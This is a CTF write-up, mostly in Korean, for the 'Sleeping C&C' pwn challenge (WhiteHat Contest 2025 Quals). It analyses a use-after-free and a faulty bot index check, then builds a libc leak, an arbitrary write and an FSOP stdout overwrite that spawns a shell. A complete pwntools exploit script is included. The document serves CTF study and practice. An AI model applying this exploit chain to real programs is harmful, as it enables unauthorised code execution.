WhiteHat Contest 2025 Quals - Sleeping C&C

0x00. Introduction

[*] '/home/user/sleeping_cnc'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

Concept

=================================
   C2 SERVER v1.0 - INITIALIZED
=================================

[*] Command & Control Server
[*] Managing botnet operations...


===== C2 CONTROL PANEL =====
1. Register new bot
2. Update bot info
3. Send command to bots
4. Deploy task
5. Abort running task
6. Shutdown C2 server
>>

C2 ์„œ๋ฒ„์˜ ๋™์ž‘์„ ๊ตฌํ˜„ํ•ด๋†“์€ ๋ฌธ์ œ์ด๋‹ค.

Structure

struct __fixed bot
{
    char *ip;       // pointing 0x18 chunk
    char *info;     // pointing 0x500 chunk
    int status;
};

bot์€ ์œ„์™€ ๊ฐ™์ด ๊ตฌ์„ฑ๋˜๋ฉฐ malloc()์œผ๋กœ ์ƒ์„ฑ ์‹œ 0x20 ํฌ๊ธฐ์˜ chunk๋ฅผ ํ• ๋‹น๋ฐ›๋Š”๋‹ค.

0x01. Vulnerability

Use After Free

int deploy_task_1CE0()
{
  __int64 v0; // rax
  pthread_t v2; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( task_running_40C8 )
  {
    puts("[!] A task is already running");
  }
  else if ( bot_count_40CC <= 0 )
  {
    puts("[!] Need at least 1 bots to deploy task");
  }
  else
  {
    task_running_40C8 = 1;
    if ( pthread_create(&v2, 0LL, start_routine, 0LL) )
      err("Failed to create task thread");
    puts("[+] Task deployed");
    return v3 - __readfsqword(0x28u);
  }
  return v0;
}

๋ช…๋ น์„ ์ „๋‹ฌํ•˜๋Š” ์ปจ์…‰์˜ deploy_task_1CE0()์—์„œ ์ „์—ญ ๋ณ€์ˆ˜ task_running_40C8์˜ ๊ฐ’์ด 0์ธ์ง€ ์ฒดํฌํ•˜๊ณ  ๋งž์œผ๋ฉด 1๋กœ ๋ฐ”๊พผ ๋’ค ์“ฐ๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•œ๋‹ค. ์ด ๊ฐ’์„ ๋‹ค์‹œ 0์œผ๋กœ ๋ฐ”๊พธ๋Š” ๊ฒƒ์€ mutex๋กœ ๊ด€๋ฆฌ๋˜๊ธฐ ๋•Œ๋ฌธ์— deploy_task_1CE0()๋Š” abort task๋ฅผ ํ•˜๊ธฐ ์ „์— ๋‹ค์‹œ ํ˜ธ์ถœํ•  ์ˆ˜ ์—†๋‹ค.

void *__fastcall start_routine(void *a1)
{
  unsigned int last; // ebx

  pthread_mutex_lock(&mutex);
  last = bot_count_40CC - 1;
  puts("\n[!] OP : Starting operation...");
  __printf_chk(2LL, "[!] Bot %s (info : %s) has dominated\n", bot_list_40E0[last]->ip, bot_list_40E0[last]->info);
  puts("[*] Attempting reconnection...");
  free_vuln_1B80(last);
  pthread_cond_wait(&cond, &mutex);
  puts("\n[*] Task completed. Bot terminated.");
  --bot_count_40CC;
  task_running_40C8 = 0;
  pthread_mutex_unlock(&mutex);
  return 0LL;
}

์“ฐ๋ ˆ๋“œ ๋‚ด๋ถ€์—์„œ๋Š” ๋งˆ์ง€๋ง‰ bot์˜ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  ์ทจ์•ฝํ•œ free_vuln_1B80()์„ ํ˜ธ์ถœํ•ด์ค€๋‹ค.

์ฒ˜์Œ์—๋Š” abort task๋ฅผ ํ•˜๊ธฐ ์ „์— bot_count_40CC๊ฐ€ ๊ฐ์†Œํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ด๋ฅผ ์ด์šฉํ•ด์„œ race condition ๋น„์Šทํ•œ ๊ฑธ ํ•ด์•ผํ•˜๋‚˜ ์‹ถ์—ˆ๋Š”๋ฐ, ํ›„์ˆ ํ•  ๋‹ค๋ฅธ ์ทจ์•ฝ์  ๋•๋ถ„์— ํ•„์š”๊ฐ€ ์—†์–ด์กŒ๋‹ค.

void __fastcall free_vuln_1B80(int index)
{
  struct bot *bot; // rbx

  bot = bot_list_40E0[index];
  if ( bot )
  {
    *bot->ip = 0;
    *bot->info = 0;
    free(bot->ip);
    free(bot->info);
    free(bot);
  }
}

์ตœ์ข…์ ์œผ๋กœ free_vuln_1B80()์—์„œ๋Š” bot, bot->ip์™€ bot->info๋ฅผ ํ•ด์ œํ•˜์ง€๋งŒ ํฌ์ธํ„ฐ ๊ฐ’์„ ์ดˆ๊ธฐํ™”ํ•˜์ง€๋Š” ์•Š๊ธฐ ๋•Œ๋ฌธ์— dangling pointer๋กœ ๋‚จ๊ฒŒ ๋œ๋‹ค. ์ด ํฌ์ธํ„ฐ๋ฅผ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„ํ•ด์„œ UAF๋กœ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Improper Check

int update_bot_18D0()
{
  int v0; // eax
  struct bot *bot_selected; // r12
  int v2; // eax
  unsigned int tmp; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  __printf_chk(2LL, "[?] Bot index to update: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v0 = getc(stdin);
  while ( v0 != 10 && v0 != -1 );
  if ( tmp > 4 )                                    // vulnerable!!!
    return puts("[!] Invalid bot index");
  bot_selected = bot_list_40E0[tmp];
  if ( !bot_selected )
    return puts("[!] Bot not found at this index");
  __printf_chk(2LL, "[+] New ip_address: ");
  my_read_1740(bot_selected->ip, 0x18);
  __printf_chk(2LL, "[+] New info: ");
  my_read_1740(bot_selected->info, 0x500);
  __printf_chk(2LL, "[+] New status: ");
  tmp = 0;
  __isoc99_scanf(" %d", &tmp);
  do
    v2 = getc(stdin);
  while ( v2 != -1 && v2 != 10 );
  bot_selected->status = tmp;
  return puts("[+] Bot information updated");
}

update_bot_18D0()์—์„œ ์—…๋ฐ์ดํŠธํ•  bot์„ ๊ณ ๋ฅด๊ธฐ ์œ„ํ•ด index๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š”๋‹ค. ์ด ๋•Œ bot์˜ ๊ฐœ์ˆ˜๋ฅผ ์ €์žฅํ•˜๋Š” bot_count_40CC์™€ ๋น„๊ตํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ตœ๋Œ“๊ฐ’์ธ 4๋ณด๋‹ค ํฐ์ง€๋ฅผ ํ™•์ธํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ํฌ์ธํ„ฐ๊ฐ€ ์œ ํšจํ•œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ธฐ๋งŒ ํ•œ๋‹ค๋ฉด ํ•ด์ œ๋œ bot์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

0x02. Exploit

Libc Leak

์–ด์จŒ๋˜๊ฐ„์— ์•„๋ฌด๋Ÿฐ ์ฃผ์†Œ๊ฐ’๋„ ์—†๊ณ  ์ถœ๋ ฅ๋ถ€๊ฐ€ ์“ฐ๋ ˆ๋“œ ํ•จ์ˆ˜์ธ start_routine()์—๋งŒ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— bot->ip๋‚˜ bot->info๋ฅผ ํ†ตํ•ด leak์„ ํ•ด์•ผ๊ฒ ๋‹ค๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค.

์ด ์ค‘ bot->info๋Š” 0x500์งœ๋ฆฌ ํฐ ํฌ๊ธฐ์˜ chunk์ด๊ธฐ ๋•Œ๋ฌธ์— ํ•ด์ œ๋˜๋ฉด unsorted bin์œผ๋กœ ๊ฐ€๊ฒŒ ๋œ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด libc์˜ main_arena ์ค‘๊ฐ„ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋‹ค.

# before free
gefโžค  x/3gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592d0      0x00005555555592f0
0x5555555592b0: 0x0000000000000001

# after free
gefโžค  x/4gx 0x00005555555592f0
0x5555555592f0: 0x00007ffff7facb20      0x00007ffff7facb20
0x555555559300: 0x0000000000000000      0x0000000000000000

์ด chunk๋Š” ํ•ด์ œ๋œ ๋’ค ๊ฐ’์ด ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š๊ณ  ๋‹ค์Œ bot->info ํ• ๋‹น ๋•Œ ๋‹ค์‹œ ๋ฐ˜ํ™˜๋œ๋‹ค. ์ถœ๋ ฅ๋ถ€์—์„œ %s ํฌ๋งท ์ŠคํŠธ๋ง์œผ๋กœ info๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๋‹ˆ๊นŒ \x00์„ ์ž˜ ์ฑ„์›Œ์„œ info๋ฅผ ์ž…๋ ฅํ•ด์ฃผ๋ฉด libc leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

    deploy_task(s)
    abort_task(s)

    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

Use After Free

์ด์ œ UAF๋ฅผ ์œ„ํ•ด dangling pointer๋ฅผ ๋‚จ๊ฒจ๋‘์–ด์•ผ ํ•œ๋‹ค. ์‚ฌ์‹ค bot ์ƒ์„ฑ ํ›„ ํ•ด์ œํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฐ”๋กœ dangling pointer๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

์œ„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ ํ›„ ๋ฉ”๋ชจ๋ฆฌ์™€ fastbin์„ ํ™•์ธํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/5gx 0x0000555555554000 + 0x40e0
0x5555555580e0: 0x00005555555592a0      0x0000000000000000
0x5555555580f0: 0x0000000000000000      0x0000000000000000
0x555555558100: 0x0000000000000000
gefโžค  heap bins
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Tcachebins for thread 1 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
All tcachebins are empty
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Fastbins for arena at 0x7ffff7e1ac80 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Fastbins[idx=0, size=0x20]  โ†  Chunk(addr=0x5555555592d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30]  โ†  Chunk(addr=0x5555555592a0, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00

์ฒซ ๋ฒˆ์งธ bot์ด 0x5555555592a0์— ํ• ๋‹น๋˜์—ˆ๋‹ค๊ฐ€ ํ•ด์ œ๋˜์—ˆ์œผ๋ฉฐ, ๊ทธ๋กœ ์ธํ•ด ํฌ๊ธฐ๊ฐ€ 0x30์ธ fastbin์— chunk๊ฐ€ ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค.

int send_command_1A70()
{
  int v0; // eax
  void *cmd; // rbx
  int v3; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  puts("[*] Operating Command :");
  puts("  1. Quick command ");
  puts("  2. General command ");
  __printf_chk(2LL, ">> ");
  v3 = 0;
  __isoc99_scanf(" %d", &v3);
  if ( v3 == 1 )
  {
    cmd = malloc(0x20uLL);
    puts("[+] Write Quick command payload :");
  }
  else
  {
    cmd = malloc(0x100uLL);
    puts("[+] Write command payload :");
  }
  my_read_1740(cmd);
  return puts("[+] Command queued for deployment");
}

๋งˆ์นจ send_command_1A70()์—์„œ 0x20์งœ๋ฆฌ chunk๋ฅผ ํ• ๋‹น๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— 0x30 fastbin์—์„œ chunk๋ฅผ ๋ฐ›์•„์˜ค๊ณ , ๋‚ด์šฉ๋„ ์“ธ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ send_command_1A70()๋ฅผ ํ†ตํ•ด bot->ip๋‚˜ bot->info๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฃผ์†Œ๊ฐ’์„ ๋ณ€์กฐํ•œ ๋’ค update_bot_18D0()์œผ๋กœ AAW๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ AAW๋ฅผ ์ด์šฉํ•ด ์–ด๋–ป๊ฒŒ RIP control์„ ํ• ์ง€ ๊ณ ๋ฏผํ•ด์•ผํ•˜๋Š”๋ฐ, libc leak ๋ง๊ณ  ๋‹ค๋ฅธ leak์ด ์—†๊ณ  0x500์ด๋ผ๋Š” ํฐ ํฌ๊ธฐ์˜ ๋‚ด์šฉ์„ ์“ธ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ FSOP๋ฅผ ์ด์šฉํ•˜๊ธฐ๋กœ ํ–ˆ๋‹ค.

FSOP

๋จผ์ € ์•ž์„œ ์–ธ๊ธ‰ํ•œ๋Œ€๋กœ send_command_1A70()๋ฅผ ์ด์šฉํ•ด bot ๊ตฌ์กฐ์ฒด์˜ ๋‚ด์šฉ์„ ๋ณ€์กฐํ•œ๋‹ค.

    payload = p64(buf)                # bot->ip
    payload += p64(stdout)            # bot->info
    payload += p64(1)                 # bot->status
    send_command(s, b"1", payload)

buf๋Š” exploit์—์„œ ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ libc ์˜์—ญ ์ค‘ ๋ฌด์˜๋ฏธํ•œ ์•„๋ฌด ์˜์—ญ์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์—ˆ๋‹ค. bot->info๊ฐ€ stdout์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์œผ๋ฏ€๋กœ bot->info๋ฅผ updateํ•  ๋•Œ stdout์˜ ๋‚ด์šฉ์„ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.

stdout์˜ ๋งˆ์ง€๋ง‰ ํ•„๋“œ์ธ vtable ํฌ์ธํ„ฐ๊นŒ์ง€ ๋ฎ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ(0xe0 ์ด์ƒ) ๋‹ค์Œ FSOP payload๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

์ดํ›„ puts๋‚˜ printf๋ฅผ ๋งŒ๋‚˜๋ฉด _IO_wfile_overflow๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉฐ ์‰˜์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "prob"
LIBRARY = "libc.so.6"
CONTAINER = "9d734f3d11b8"
code_base = 0x555555554000
bp = {
    'main' : code_base + 0x12BA,
}

gs = f'''
!b *{bp["main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
context.log_level = "DEBUG"

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

def register_new_bot(s, ip, info, status):
    s.sendline(b"1")
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    s.sendlineafter(b"online): ", status)
    return s.recvuntil(b">> ")

def update_bot(s, index, ip, info):
    s.sendline(b"2")
    s.sendlineafter(b"update: ", index)
    s.sendafter(b"address: ", ip)
    s.sendafter(b"info: ", info)
    return

def send_command(s, mode, cmd):
    s.sendline(b"3")
    s.sendlineafter(b">> ", mode)
    s.sendlineafter(b"payload :\n", cmd)
    return s.recvuntil(b">> ")

def deploy_task(s):
    s.sendline(b"4")
    sleep(0.5)
    return s.recvuntil(b"reconnection...\n")

def abort_task(s):
    s.sendline(b"5")
    sleep(0.5)
    return s.recvuntil(b"terminated.\n")

def shutdown(s):
    s.sendline(b"6")
    return s.recvuntil(b"server...\n")

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        main_arena_offset = 0x203b20
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
        main_arena_offset = 0x21ace0
        stdout_offset = 0x2045c0
        buf_offset = 0x204700
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    
    s.recvuntil(">> ")
    
    # send big chunk to unsorted bin
    deploy_task(s)
    abort_task(s)

    # leak libc
    register_new_bot(s, b"AAAAAAAA", b"aaaaaaaa", b"1")
    r = deploy_task(s)
    libc = u64(r.split(b"aaaaaaaa")[1][:6] + b"\x00\x00") - main_arena_offset
    lib.address = libc
    stdout = libc + stdout_offset
    buf = libc + buf_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"stdout : {hex(stdout)}")
    log.info(f"buf : {hex(buf)}")
    abort_task(s)

    # leave a dangling pointer
    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

    # manipulate bot structure
    payload = p64(buf)
    payload += p64(stdout)
    payload += p64(1)
    send_command(s, b"1", payload)

    # send FSOP payload via UAF
    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

    s.interactive()
    print(shutdown(s))

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

0x04. Reference